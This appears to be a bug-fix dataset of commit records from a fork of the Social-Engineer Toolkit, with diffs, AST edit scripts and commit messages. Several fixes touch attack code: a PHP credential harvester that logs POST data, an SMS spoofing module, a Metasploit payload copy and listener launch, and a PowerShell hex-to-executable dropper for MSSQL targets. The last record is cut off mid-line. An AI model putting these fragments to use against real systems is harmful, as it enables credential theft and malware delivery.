[ { "sha": "61df3f573f83e52c93c82be55879b56fdf8325ff", "filename": "src/payloads/set_payloads/listener.py", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/warecrer/SETOOLKIT/blob/acd1868b759552b42f8a069120fdd8b2f4c14e81/src%2Fpayloads%2Fset_payloads%2Flistener.py", "raw_url": "https://github.com/warecrer/SETOOLKIT/raw/acd1868b759552b42f8a069120fdd8b2f4c14e81/src%2Fpayloads%2Fset_payloads%2Flistener.py", "contents_url": "https://api.github.com/repos/warecrer/SETOOLKIT/contents/src%2Fpayloads%2Fset_payloads%2Flistener.py?ref=acd1868b759552b42f8a069120fdd8b2f4c14e81", "patch": "@@ -71,7 +71,7 @@ def start_listener():\n # if null then default to port 443\n print(\"[*] Defaulting to port 443 for the listener.\")\n PORT = 443\n- update_config(\"PORT=443\")\n+ update_options(\"PORT=443\")\n \n try:\n # make the port an integer" } ]
SETOOLKIT
3294d940443fc532c0c781ec2f1bd876a55b5640
235c90585f60bf90df5375c4f6cd7a6dfa1dde22
src/webattack/fsattack/full.py
https://github.com/warecrer/SETOOLKIT
true
false
false
@@ -4,7 +4,7 @@ # Author: d4rk0 # twitter: @d4rk0s -from .fsattacks import * +from src.webattack.fsattack.fsattacks import * def mainFullScreenAttackLoadExample():
from . fsattacks import *
from src . webattack . fsattack . fsattacks import *
SINGLE_STMT
[["Insert", ["import_from_statement", 3, 1, 3, 25], ["dotted_name", "N0"], 1], ["Insert", "N0", ["identifier:src", "T"], 0], ["Move", "N0", [".:.", 3, 6, 3, 7], 1], ["Insert", "N0", ["identifier:webattack", "T"], 2], ["Insert", "N0", [".:.", "T"], 3], ["Insert", "N0", ["identifier:fsattack", "T"], 4], ["Insert", "N0", [".:.", "T"], 5], ["Move", "N0", ["identifier:fsattacks", 3, 7, 3, 16], 6], ["Delete", ["import_prefix", 3, 6, 3, 7]], ["Delete", ["dotted_name", 3, 7, 3, 16]], ["Delete", ["relative_import", 3, 6, 3, 16]]]
warecrer/SETOOLKIT@3294d940443fc532c0c781ec2f1bd876a55b5640
fix bug with fsattack
[ { "sha": "b20d640a11c367aa17189d7706ee4df411706b23", "filename": "src/webattack/fsattack/full.py", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/warecrer/SETOOLKIT/blob/3294d940443fc532c0c781ec2f1bd876a55b5640/src%2Fwebattack%2Ffsattack%2Ffull.py", "raw_url": "https://github.com/warecrer/SETOOLKIT/raw/3294d940443fc532c0c781ec2f1bd876a55b5640/src%2Fwebattack%2Ffsattack%2Ffull.py", "contents_url": "https://api.github.com/repos/warecrer/SETOOLKIT/contents/src%2Fwebattack%2Ffsattack%2Ffull.py?ref=3294d940443fc532c0c781ec2f1bd876a55b5640", "patch": "@@ -4,7 +4,7 @@\n # Author: d4rk0\n # twitter: @d4rk0s\n \n-from .fsattacks import *\n+from src.webattack.fsattack.fsattacks import *\n \n \n def mainFullScreenAttackLoadExample():" } ]
SETOOLKIT
8e321385e75a4cf03b48c5f8a1a8fc99c99a5a13
581588ea0d9beba7236c448279fcdb6da9ad25b9
src/sms/sms.py
https://github.com/warecrer/SETOOLKIT
true
false
false
@@ -8,7 +8,7 @@ try: print("""\n ----- The Social-Engineer Toolkit (SET) SMS Spoofing Attack Vector -----\n""") print("This attack vector relies upon a third party service called www.spoofmytextmessage.com. This is a third party service outside of the control from the Social-Engineer Toolkit. The fine folks over at spoofmytextmessage.com have provided an undocumented API for us to use in order to allow SET to perform the SMS spoofing. You will need to visit https://www.spoofmytextmessage.com and sign up for an account. They example multiple payment methods such as PayPal, Bitcoin, and many more options. Once you purchase your plan that you want, you will need to remember your email address and password used for the account. SET will then handle the rest.\n") print("In order for this to work you must have an account over at spoofmytextmessage.com\n") - print("Special thanks to Khalil @sehnaoui for testing out the service for me and finding spoofmytextmessage.com\n") + print("Special thanks to Khalil @sehnaoui for testing out the service for me and finding spoofmytextmessage.com\n") print_error("DISCLAIMER: By submitting yes, you understand that you accept all terms and services from spoofmytextmessage.com and you are fully aware of your countries legal stance on SMS spoofing prior to performing any of these. By accepting yes you fully acknowledge these terms and will not use them for unlawful purposes.") message = raw_input("\nDo you accept these terms (yes or no): ") if message == "yes":
print ( "Special thanks to Khalil @sehnaoui for testing out the service for me and finding spoofmytextmessage.com\n" )
print ( "Special thanks to Khalil @sehnaoui for testing out the service for me and finding spoofmytextmessage.com\n" )
CHANGE_STRING_LITERAL
[["Update", ["string:\"Special thanks to Khalil @sehnaoui for testing out the service for me and finding spoofmytextmessage.com\\n\"", 3, 11, 3, 120], "\"Special thanks to Khalil @sehnaoui for testing out the service for me and finding spoofmytextmessage.com\\n\""]]
warecrer/SETOOLKIT@8e321385e75a4cf03b48c5f8a1a8fc99c99a5a13
space fix
[ { "sha": "457f9099004c1db46ee8e03ffae311c5c4f062c6", "filename": "src/sms/sms.py", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/warecrer/SETOOLKIT/blob/8e321385e75a4cf03b48c5f8a1a8fc99c99a5a13/src%2Fsms%2Fsms.py", "raw_url": "https://github.com/warecrer/SETOOLKIT/raw/8e321385e75a4cf03b48c5f8a1a8fc99c99a5a13/src%2Fsms%2Fsms.py", "contents_url": "https://api.github.com/repos/warecrer/SETOOLKIT/contents/src%2Fsms%2Fsms.py?ref=8e321385e75a4cf03b48c5f8a1a8fc99c99a5a13", "patch": "@@ -8,7 +8,7 @@\n print(\"\"\"\\n ----- The Social-Engineer Toolkit (SET) SMS Spoofing Attack Vector -----\\n\"\"\")\n print(\"This attack vector relies upon a third party service called www.spoofmytextmessage.com. This is a third party service outside of the control from the Social-Engineer Toolkit. The fine folks over at spoofmytextmessage.com have provided an undocumented API for us to use in order to allow SET to perform the SMS spoofing. You will need to visit https://www.spoofmytextmessage.com and sign up for an account. They example multiple payment methods such as PayPal, Bitcoin, and many more options. Once you purchase your plan that you want, you will need to remember your email address and password used for the account. SET will then handle the rest.\\n\")\n print(\"In order for this to work you must have an account over at spoofmytextmessage.com\\n\")\n- print(\"Special thanks to Khalil @sehnaoui for testing out the service for me and finding spoofmytextmessage.com\\n\")\n+ print(\"Special thanks to Khalil @sehnaoui for testing out the service for me and finding spoofmytextmessage.com\\n\")\n print_error(\"DISCLAIMER: By submitting yes, you understand that you accept all terms and services from spoofmytextmessage.com and you are fully aware of your countries legal stance on SMS spoofing prior to performing any of these. By accepting yes you fully acknowledge these terms and will not use them for unlawful purposes.\") \n message = raw_input(\"\\nDo you accept these terms (yes or no): \")\n if message == \"yes\": " } ]
SETOOLKIT
ba47bd0355552e6b2cf77c320dd3161c566608c8
1d3fb4ec7dd16138927389b8626b489891f52473
src/teensy/teensy.py
https://github.com/warecrer/SETOOLKIT
true
false
false
@@ -154,7 +154,7 @@ if payload_counter == 1: child = pexpect.spawn("python src/html/web_server.py") else: - subprocess.Popen("cp {} %s/x.exe".format(metasploit_exec_path, os.path.join(webclone_path, "x.exe")), shell=True).wait() + subprocess.Popen("cp {} {}".format(metasploit_exec_path, os.path.join(webclone_path, "x.exe")), shell=True).wait() if os.path.isfile(os.path.join(core.setdir, "meta_config")): print(core.bcolors.BLUE + "\n[*] Launching MSF Listener...")
else : subprocess . Popen ( "cp {} %s/x.exe" . format ( metasploit_exec_path , os . path . join ( webclone_path , "x.exe" ) ) , shell = True ) . wait ( )
else : subprocess . Popen ( "cp {} {}" . format ( metasploit_exec_path , os . path . join ( webclone_path , "x.exe" ) ) , shell = True ) . wait ( )
CHANGE_STRING_LITERAL
[["Update", ["string:\"cp {} %s/x.exe\"", 3, 26, 3, 42], "\"cp {} {}\""]]
warecrer/SETOOLKIT@ba47bd0355552e6b2cf77c320dd3161c566608c8
fix error in format string
[ { "sha": "1febbea00d5f30ba46ecf4700509cb4fe0d9c617", "filename": "src/teensy/teensy.py", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/warecrer/SETOOLKIT/blob/ba47bd0355552e6b2cf77c320dd3161c566608c8/src%2Fteensy%2Fteensy.py", "raw_url": "https://github.com/warecrer/SETOOLKIT/raw/ba47bd0355552e6b2cf77c320dd3161c566608c8/src%2Fteensy%2Fteensy.py", "contents_url": "https://api.github.com/repos/warecrer/SETOOLKIT/contents/src%2Fteensy%2Fteensy.py?ref=ba47bd0355552e6b2cf77c320dd3161c566608c8", "patch": "@@ -154,7 +154,7 @@ def writefile(filename, now):\n child = pexpect.spawn(\"python src/html/web_server.py\")\n \n else:\n- subprocess.Popen(\"cp {} %s/x.exe\".format(metasploit_exec_path, os.path.join(webclone_path, \"x.exe\")), shell=True).wait()\n+ subprocess.Popen(\"cp {} {}\".format(metasploit_exec_path, os.path.join(webclone_path, \"x.exe\")), shell=True).wait()\n \n if os.path.isfile(os.path.join(core.setdir, \"meta_config\")):\n print(core.bcolors.BLUE + \"\\n[*] Launching MSF Listener...\")" } ]
SETOOLKIT
46324916e6289e900aadf9b48ca7aa796f6dddd0
64b77f1891fff472c23580d8bb806b0efb14dace
src/fasttrack/mssql.py
https://github.com/warecrer/SETOOLKIT
true
false
true
@@ -114,7 +114,7 @@ def deploy_hex2binary(ipaddr, port, username, password): pass # just throw a simple command via powershell to get the output try: - print("""Pick which deployment method to use. The first is PowerShell and should be used on any modern operating system. The second method will use the certutil method to convert a binary to a binary""") + print("""Pick which deployment method to use. The first is PowerShell and should be used on any modern operating system. The second method will use the certutil method to convert a binary to a binary.\n""") choice = input("Enter your choice:\n\n" "1.) Use PowerShell Injection (recommended)\n"
print ( """Pick which deployment method to use. The first is PowerShell and should be used on any modern operating system. The second method will use the certutil method to convert a binary to a binary""" )
print ( """Pick which deployment method to use. The first is PowerShell and should be used on any modern operating system. The second method will use the certutil method to convert a binary to a binary.\n""" )
CHANGE_STRING_LITERAL
[["Update", ["string:\"\"\"Pick which deployment method to use. The first is PowerShell and should be used on any modern operating system. The second method will use the certutil method to convert a binary to a binary\"\"\"", 3, 15, 3, 211], "\"\"\"Pick which deployment method to use. The first is PowerShell and should be used on any modern operating system. The second method will use the certutil method to convert a binary to a binary.\\n\"\"\""]]
warecrer/SETOOLKIT@46324916e6289e900aadf9b48ca7aa796f6dddd0
small fix
[ { "sha": "b18e2e20ed11f3c2c0f8dd6e4b01dacba4babfa1", "filename": "src/fasttrack/mssql.py", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/warecrer/SETOOLKIT/blob/46324916e6289e900aadf9b48ca7aa796f6dddd0/src%2Ffasttrack%2Fmssql.py", "raw_url": "https://github.com/warecrer/SETOOLKIT/raw/46324916e6289e900aadf9b48ca7aa796f6dddd0/src%2Ffasttrack%2Fmssql.py", "contents_url": "https://api.github.com/repos/warecrer/SETOOLKIT/contents/src%2Ffasttrack%2Fmssql.py?ref=46324916e6289e900aadf9b48ca7aa796f6dddd0", "patch": "@@ -114,7 +114,7 @@ def deploy_hex2binary(ipaddr, port, username, password):\n pass\n # just throw a simple command via powershell to get the output\n try:\n- print(\"\"\"Pick which deployment method to use. The first is PowerShell and should be used on any modern operating system. The second method will use the certutil method to convert a binary to a binary\"\"\")\n+ print(\"\"\"Pick which deployment method to use. The first is PowerShell and should be used on any modern operating system. The second method will use the certutil method to convert a binary to a binary.\\n\"\"\")\n \n choice = input(\"Enter your choice:\\n\\n\"\n \"1.) Use PowerShell Injection (recommended)\\n\"" } ]
SETOOLKIT
d57f6f53f2a9cd9d9102d6a0034308f0849ed308
e058618b08772a914cbd9abdc879bcd99b3260c6
src/fasttrack/mssql.py
https://github.com/warecrer/SETOOLKIT
true
false
true
@@ -289,7 +289,7 @@ def deploy_hex2binary(ipaddr, port, username, password): child2 = pexpect.spawn("{0} -r {1}".format(os.path.join(msf_path + "msfconsole"), os.path.join(core.setdir + "reports/powershell/powershell.rc"))) core.print_status("Waiting for the listener to start first before we continue forward...") - core.print_status("Be patient, Metaploit takes a little bit to start...") + core.print_status("Be patient, Metasploit takes a little bit to start...") child2.expect("Starting the payload handler", timeout=30000) core.print_status("Metasploit started... Waiting a couple more seconds for listener to activate..") time.sleep(5)
core . print_status ( "Be patient, Metaploit takes a little bit to start..." )
core . print_status ( "Be patient, Metasploit takes a little bit to start..." )
CHANGE_STRING_LITERAL
[["Update", ["string:\"Be patient, Metaploit takes a little bit to start...\"", 3, 31, 3, 85], "\"Be patient, Metasploit takes a little bit to start...\""]]
warecrer/SETOOLKIT@d57f6f53f2a9cd9d9102d6a0034308f0849ed308
fix typo
[ { "sha": "0b06edab455e61538324074cfde7a97aadb0d680", "filename": "src/fasttrack/mssql.py", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/warecrer/SETOOLKIT/blob/d57f6f53f2a9cd9d9102d6a0034308f0849ed308/src%2Ffasttrack%2Fmssql.py", "raw_url": "https://github.com/warecrer/SETOOLKIT/raw/d57f6f53f2a9cd9d9102d6a0034308f0849ed308/src%2Ffasttrack%2Fmssql.py", "contents_url": "https://api.github.com/repos/warecrer/SETOOLKIT/contents/src%2Ffasttrack%2Fmssql.py?ref=d57f6f53f2a9cd9d9102d6a0034308f0849ed308", "patch": "@@ -289,7 +289,7 @@ def deploy_hex2binary(ipaddr, port, username, password):\n child2 = pexpect.spawn(\"{0} -r {1}\".format(os.path.join(msf_path + \"msfconsole\"),\n os.path.join(core.setdir + \"reports/powershell/powershell.rc\")))\n core.print_status(\"Waiting for the listener to start first before we continue forward...\")\n- core.print_status(\"Be patient, Metaploit takes a little bit to start...\")\n+ core.print_status(\"Be patient, Metasploit takes a little bit to start...\")\n child2.expect(\"Starting the payload handler\", timeout=30000)\n core.print_status(\"Metasploit started... Waiting a couple more seconds for listener to activate..\")\n time.sleep(5)" } ]
SETOOLKIT
d5b80c0010aebd45554799513c5208fd76c778ac
2b293770600069f8ae5bf43906c6ee2e19e23c65
src/webattack/harvester/harvester.py
https://github.com/warecrer/SETOOLKIT
true
false
true
@@ -498,7 +498,7 @@ def run(): now = str(datetime.datetime.today()) harvester_file = ("harvester_" + now + ".txt") filewrite.write( - """<?php $file = '%s';file_put_contents($file, print_r($_POST, true), FILE_APPEND);?><meta http-equiv="refresh" content="0; url=%s" />\n/* If you are just seeing plain text you need to install php5 for apache apt-get install libapache2-mod-php5 */""" % (harvester_file, RAW_URL)) + """<?php $file = '%s';file_put_contents($file, print_r($_POST, true), FILE_APPEND); \n/* If you are just seeing plain text you need to install php5 for apache apt-get install libapache2-mod-php5 */ ?><meta http-equiv="refresh" content="0; url=%s" />\n""" % (harvester_file, RAW_URL)) filewrite.close() if os.path.isdir("/var/www/html"): logpath = ("/var/www/html")
filewrite . write ( """<?php $file = '%s';file_put_contents($file, print_r($_POST, true), FILE_APPEND);?><meta http-equiv="refresh" content="0; url=%s" />\n/* If you are just seeing plain text you need to install php5 for apache apt-get install libapache2-mod-php5 */""" % ( harvester_file , RAW_URL ) )
filewrite . write ( """<?php $file = '%s';file_put_contents($file, print_r($_POST, true), FILE_APPEND); \n/* If you are just seeing plain text you need to install php5 for apache apt-get install libapache2-mod-php5 */ ?><meta http-equiv="refresh" content="0; url=%s" />\n""" % ( harvester_file , RAW_URL ) )
CHANGE_BINARY_OPERAND
[["Update", ["string:\"\"\"<?php $file = '%s';file_put_contents($file, print_r($_POST, true), FILE_APPEND);?><meta http-equiv=\"refresh\" content=\"0; url=%s\" />\\n/* If you are just seeing plain text you need to install php5 for apache apt-get install libapache2-mod-php5 */\"\"\"", 3, 13, 3, 263], "\"\"\"<?php $file = '%s';file_put_contents($file, print_r($_POST, true), FILE_APPEND); \\n/* If you are just seeing plain text you need to install php5 for apache apt-get install libapache2-mod-php5 */ ?><meta http-equiv=\"refresh\" content=\"0; url=%s\" />\\n\"\"\""]]
warecrer/SETOOLKIT@d5b80c0010aebd45554799513c5208fd76c778ac
#284 fix
[ { "sha": "91125eb5e211d2680941f3261f774319bce12d92", "filename": "src/webattack/harvester/harvester.py", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/warecrer/SETOOLKIT/blob/d5b80c0010aebd45554799513c5208fd76c778ac/src%2Fwebattack%2Fharvester%2Fharvester.py", "raw_url": "https://github.com/warecrer/SETOOLKIT/raw/d5b80c0010aebd45554799513c5208fd76c778ac/src%2Fwebattack%2Fharvester%2Fharvester.py", "contents_url": "https://api.github.com/repos/warecrer/SETOOLKIT/contents/src%2Fwebattack%2Fharvester%2Fharvester.py?ref=d5b80c0010aebd45554799513c5208fd76c778ac", "patch": "@@ -498,7 +498,7 @@ def run():\n now = str(datetime.datetime.today())\n harvester_file = (\"harvester_\" + now + \".txt\")\n filewrite.write(\n- \"\"\"<?php $file = '%s';file_put_contents($file, print_r($_POST, true), FILE_APPEND);?><meta http-equiv=\"refresh\" content=\"0; url=%s\" />\\n/* If you are just seeing plain text you need to install php5 for apache apt-get install libapache2-mod-php5 */\"\"\" % (harvester_file, RAW_URL))\n+ \"\"\"<?php $file = '%s';file_put_contents($file, print_r($_POST, true), FILE_APPEND); \\n/* If you are just seeing plain text you need to install php5 for apache apt-get install libapache2-mod-php5 */ ?><meta http-equiv=\"refresh\" content=\"0; url=%s\" />\\n\"\"\" % (harvester_file, RAW_URL))\n filewrite.close()\n if os.path.isdir(\"/var/www/html\"):\n logpath = (\"/var/www/html\")" } ]
SETOOLKIT
8ae7d224977da6af91020994387a19bc26509e79
0e124831b8b39f7e58828d46cf9713d7dbece477
src/teensy/teensy.py
https://github.com/warecrer/SETOOLKIT
true
false
true
@@ -83,7 +83,7 @@ with open(os.path.join(core.setdir + "teensy")) as fileopen: def writefile(filename, now): - with open(os.path.join("src/teensy" + filename)) as fileopen, \ + with open(os.path.join("src/teensy/" + filename)) as fileopen, \ open(os.path.join(core.setdir + "/reports/teensy_{0}.pde".format(now)), "w") as filewrite: for line in fileopen:
with open ( os . path . join ( "src/teensy" + filename ) ) as fileopen , open ( os . path . join ( core . setdir + "/reports/teensy_{0}.pde" . format ( now ) ) , "w" ) as filewrite : for line in fileopen :
with open ( os . path . join ( "src/teensy/" + filename ) ) as fileopen , open ( os . path . join ( core . setdir + "/reports/teensy_{0}.pde" . format ( now ) ) , "w" ) as filewrite : for line in fileopen :
CHANGE_BINARY_OPERAND
[["Update", ["string:\"src/teensy\"", 3, 28, 3, 40], "\"src/teensy/\""]]
warecrer/SETOOLKIT@8ae7d224977da6af91020994387a19bc26509e79
Fix #302
[ { "sha": "109cbfa18ff0af19e9775a784f02ead76c89876e", "filename": "src/teensy/teensy.py", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/warecrer/SETOOLKIT/blob/8ae7d224977da6af91020994387a19bc26509e79/src%2Fteensy%2Fteensy.py", "raw_url": "https://github.com/warecrer/SETOOLKIT/raw/8ae7d224977da6af91020994387a19bc26509e79/src%2Fteensy%2Fteensy.py", "contents_url": "https://api.github.com/repos/warecrer/SETOOLKIT/contents/src%2Fteensy%2Fteensy.py?ref=8ae7d224977da6af91020994387a19bc26509e79", "patch": "@@ -83,7 +83,7 @@\n \n \n def writefile(filename, now):\n- with open(os.path.join(\"src/teensy\" + filename)) as fileopen, \\\n+ with open(os.path.join(\"src/teensy/\" + filename)) as fileopen, \\\n open(os.path.join(core.setdir + \"/reports/teensy_{0}.pde\".format(now)), \"w\") as filewrite:\n \n for line in fileopen:" } ]
SETOOLKIT
f3f5554ec37e8344aa135efcc86c63178a9878ca
357336d868f9aef490a395d31f89f6f7e9d81408
src/core/set.py
https://github.com/warecrer/SETOOLKIT
true
false
false
@@ -1068,7 +1068,7 @@ try: "HID Msbuild compile to memory Shellcode Attack selected") debug_msg( me, "importing '-----file-----'", 1) - import src.teensy.inogen + import src.teensy.ino_gen if teensy_menu_choice == "99": teensy_menu_choice = None
import src . teensy . inogen
import src . teensy . ino_gen
CHANGE_IDENTIFIER_USED
[["Update", ["identifier:inogen", 3, 39, 3, 45], "ino_gen"]]
warecrer/SETOOLKIT@f3f5554ec37e8344aa135efcc86c63178a9878ca
Update set.py Update incorrect filename - change from inogen to ino_gen
[ { "sha": "b3865da7581394dc0e32834279bd819e211cbe2e", "filename": "src/core/set.py", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/warecrer/SETOOLKIT/blob/f3f5554ec37e8344aa135efcc86c63178a9878ca/src%2Fcore%2Fset.py", "raw_url": "https://github.com/warecrer/SETOOLKIT/raw/f3f5554ec37e8344aa135efcc86c63178a9878ca/src%2Fcore%2Fset.py", "contents_url": "https://api.github.com/repos/warecrer/SETOOLKIT/contents/src%2Fcore%2Fset.py?ref=f3f5554ec37e8344aa135efcc86c63178a9878ca", "patch": "@@ -1068,7 +1068,7 @@\n \"HID Msbuild compile to memory Shellcode Attack selected\")\n debug_msg(\n me, \"importing '-----file-----'\", 1)\n- import src.teensy.inogen\n+ import src.teensy.ino_gen\n \n if teensy_menu_choice == \"99\":\n teensy_menu_choice = None" } ]
SETOOLKIT
965fb0ad3cfca4ee03e5265c071d0cec05a329eb
184ebe703292a7557023185dadb60590e8af6929
src/core/setcore.py
https://github.com/warecrer/SETOOLKIT
true
false
true
@@ -1537,7 +1537,7 @@ def generate_powershell_alphanumeric_payload(payload, ipaddr, port, payload2): "$w", var11) # unicode and base64 encode and return it - return base64.b64encode(powershell_command.encode('utf_16_le')).decode("ascii") + return base64.b64encode(powershell_code.encode('utf_16_le')).decode("ascii") # generate base shellcode def generate_shellcode(payload, ipaddr, port):
return base64 . b64encode ( powershell_command . encode ( 'utf_16_le' ) ) . decode ( "ascii" )
return base64 . b64encode ( powershell_code . encode ( 'utf_16_le' ) ) . decode ( "ascii" )
SAME_FUNCTION_WRONG_CALLER
[["Update", ["identifier:powershell_command", 3, 29, 3, 47], "powershell_code"]]
warecrer/SETOOLKIT@965fb0ad3cfca4ee03e5265c071d0cec05a329eb
fix variable name
[ { "sha": "6765c18e19ff799ff3e93d75f1079c7390dee5df", "filename": "src/core/setcore.py", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/warecrer/SETOOLKIT/blob/965fb0ad3cfca4ee03e5265c071d0cec05a329eb/src%2Fcore%2Fsetcore.py", "raw_url": "https://github.com/warecrer/SETOOLKIT/raw/965fb0ad3cfca4ee03e5265c071d0cec05a329eb/src%2Fcore%2Fsetcore.py", "contents_url": "https://api.github.com/repos/warecrer/SETOOLKIT/contents/src%2Fcore%2Fsetcore.py?ref=965fb0ad3cfca4ee03e5265c071d0cec05a329eb", "patch": "@@ -1537,7 +1537,7 @@ def generate_powershell_alphanumeric_payload(payload, ipaddr, port, payload2):\n \"$w\", var11)\n \n # unicode and base64 encode and return it\n- return base64.b64encode(powershell_command.encode('utf_16_le')).decode(\"ascii\")\n+ return base64.b64encode(powershell_code.encode('utf_16_le')).decode(\"ascii\")\n \n # generate base shellcode\n def generate_shellcode(payload, ipaddr, port):" } ]
SETOOLKIT
c70b5c2004f31cfe97c08cd7e32bb2fe87dbe684
0672c2746b156f67a0506dd6f9f403fd31b6c917
src/core/setcore.py
https://github.com/warecrer/SETOOLKIT
true
false
true
@@ -332,7 +332,7 @@ def meta_path(): # pull from config first msf_path = check_config("METASPLOIT_PATH=") - if not str(msf_path.endswith("/")): + if not msf_path.endswith("/"): msf_path = msf_path + "/" if os.path.isfile(msf_path + "msfconsole"): trigger = 1
if not str ( msf_path . endswith ( "/" ) ) : msf_path = msf_path + "/"
if not msf_path . endswith ( "/" ) : msf_path = msf_path + "/"
SINGLE_STMT
[["Move", ["not_operator", 3, 12, 3, 43], ["call", 3, 20, 3, 42], 1], ["Delete", ["identifier:str", 3, 16, 3, 19]], ["Delete", ["(:(", 3, 19, 3, 20]], ["Delete", ["):)", 3, 42, 3, 43]], ["Delete", ["argument_list", 3, 19, 3, 43]], ["Delete", ["call", 3, 16, 3, 43]]]
warecrer/SETOOLKIT@c70b5c2004f31cfe97c08cd7e32bb2fe87dbe684
Fixes matasploit path search.
[ { "sha": "c54a976d2b0c11f3435c21bc8982acdc18650ae7", "filename": "src/core/setcore.py", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/warecrer/SETOOLKIT/blob/c70b5c2004f31cfe97c08cd7e32bb2fe87dbe684/src%2Fcore%2Fsetcore.py", "raw_url": "https://github.com/warecrer/SETOOLKIT/raw/c70b5c2004f31cfe97c08cd7e32bb2fe87dbe684/src%2Fcore%2Fsetcore.py", "contents_url": "https://api.github.com/repos/warecrer/SETOOLKIT/contents/src%2Fcore%2Fsetcore.py?ref=c70b5c2004f31cfe97c08cd7e32bb2fe87dbe684", "patch": "@@ -332,7 +332,7 @@ def meta_path():\n \n # pull from config first\n msf_path = check_config(\"METASPLOIT_PATH=\")\n- if not str(msf_path.endswith(\"/\")):\n+ if not msf_path.endswith(\"/\"):\n msf_path = msf_path + \"/\"\n if os.path.isfile(msf_path + \"msfconsole\"):\n trigger = 1" } ]
SETOOLKIT
cf3a896691949964f20dd392d00e1b4bad6b3d9f
a8c9b78260b8771c8e306ae9314036c27f648a9f
src/core/setcore.py
https://github.com/warecrer/SETOOLKIT
true
false
true
@@ -503,7 +503,7 @@ def update_set(): # Pull the help menu here # def help_menu(): - fileopen = file("readme/README","r").readlines() + fileopen = file("README","r").readlines() for line in fileopen: line = line.rstrip() print line
fileopen = file ( "readme/README" , "r" ) . readlines ( )
fileopen = file ( "README" , "r" ) . readlines ( )
CHANGE_STRING_LITERAL
[["Update", ["string:\"readme/README\"", 3, 21, 3, 36], "\"README\""]]
warecrer/SETOOLKIT@cf3a896691949964f20dd392d00e1b4bad6b3d9f
Bug fix in the readme file was causing an error out
[ { "sha": "c52564dcff8df359652dbc824f4de181ce665fb2", "filename": "src/core/setcore.py", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/warecrer/SETOOLKIT/blob/cf3a896691949964f20dd392d00e1b4bad6b3d9f/src%2Fcore%2Fsetcore.py", "raw_url": "https://github.com/warecrer/SETOOLKIT/raw/cf3a896691949964f20dd392d00e1b4bad6b3d9f/src%2Fcore%2Fsetcore.py", "contents_url": "https://api.github.com/repos/warecrer/SETOOLKIT/contents/src%2Fcore%2Fsetcore.py?ref=cf3a896691949964f20dd392d00e1b4bad6b3d9f", "patch": "@@ -503,7 +503,7 @@ def update_set():\n # Pull the help menu here\n #\n def help_menu():\n- fileopen = file(\"readme/README\",\"r\").readlines()\n+ fileopen = file(\"README\",\"r\").readlines()\n for line in fileopen:\n line = line.rstrip()\n print line" } ]
SETOOLKIT
3e980204d2a8d1fe4b4d8478be21552cea9372d4
67d819a6715785aa4ee3f3c02bda8b28d7df2fb6
src/fasttrack/mssql.py
https://github.com/warecrer/SETOOLKIT
true
false
true
@@ -121,7 +121,7 @@ def deploy_hex2binary(ipaddr,port,username,password,option): if option == "1": # powershell command here, needs to be unicoded then base64 in order to use encodedcommand - powershell_command = unicode("$s=gc \"C:\\Windows\\system32\\%s\";$s=[string]::Join('',$s);$s=$s.Replace('`r',''); $s=$s.Replace('`n','');$b=new-object byte[] $($s.Length/2);0..$($b.Length-1)|%%{$b[$_]=[Convert]::ToByte($s.Substring($($_*2),2),16)};[IO.File]::WriteAllBytes(\"C:\\Windows\\system32\\%s.exe\",$b)" % (random_exe,random_exe)) + powershell_command = unicode("""$s=gc "payload.hex";$s=[string]::Join('',$s);$s=$s.Replace('`r','');$s=$s.Replace('`n','');$b=new-object byte[] $($s.Length/2);0..$($b.Length-1)| % {$b[$_]=[Convert]::ToByte($s.Substring($($_*2),2),16)};[IO.File]::WriteAllBytes("payload.exe",$b);""") ######################################################################################################################################################################################################## #
powershell_command = unicode ( "$s=gc \"C:\\Windows\\system32\\%s\";$s=[string]::Join('',$s);$s=$s.Replace('`r',''); $s=$s.Replace('`n','');$b=new-object byte[] $($s.Length/2);0..$($b.Length-1)|%%{$b[$_]=[Convert]::ToByte($s.Substring($($_*2),2),16)};[IO.File]::WriteAllBytes(\"C:\\Windows\\system32\\%s.exe\",$b)" % ( random_exe , random_exe ) )
powershell_command = unicode ( """$s=gc "payload.hex";$s=[string]::Join('',$s);$s=$s.Replace('`r','');$s=$s.Replace('`n','');$b=new-object byte[] $($s.Length/2);0..$($b.Length-1)| % {$b[$_]=[Convert]::ToByte($s.Substring($($_*2),2),16)};[IO.File]::WriteAllBytes("payload.exe",$b);""" )
SINGLE_STMT
[["Update", ["string:\"$s=gc \\\"C:\\\\Windows\\\\system32\\\\%s\\\";$s=[string]::Join('',$s);$s=$s.Replace('`r',''); $s=$s.Replace('`n','');$b=new-object byte[] $($s.Length/2);0..$($b.Length-1)|%%{$b[$_]=[Convert]::ToByte($s.Substring($($_*2),2),16)};[IO.File]::WriteAllBytes(\\\"C:\\\\Windows\\\\system32\\\\%s.exe\\\",$b)\"", 3, 46, 3, 329], "\"\"\"$s=gc \"payload.hex\";$s=[string]::Join('',$s);$s=$s.Replace('`r','');$s=$s.Replace('`n','');$b=new-object byte[] $($s.Length/2);0..$($b.Length-1)| % {$b[$_]=[Convert]::ToByte($s.Substring($($_*2),2),16)};[IO.File]::WriteAllBytes(\"payload.exe\",$b);\"\"\""], ["Move", ["argument_list", 3, 45, 3, 356], ["string:\"$s=gc \\\"C:\\\\Windows\\\\system32\\\\%s\\\";$s=[string]::Join('',$s);$s=$s.Replace('`r',''); $s=$s.Replace('`n','');$b=new-object byte[] $($s.Length/2);0..$($b.Length-1)|%%{$b[$_]=[Convert]::ToByte($s.Substring($($_*2),2),16)};[IO.File]::WriteAllBytes(\\\"C:\\\\Windows\\\\system32\\\\%s.exe\\\",$b)\"", 3, 46, 3, 329], 1], ["Move", ["argument_list", 3, 45, 3, 356], ["):)", 3, 354, 3, 355], 2], ["Delete", ["%:%", 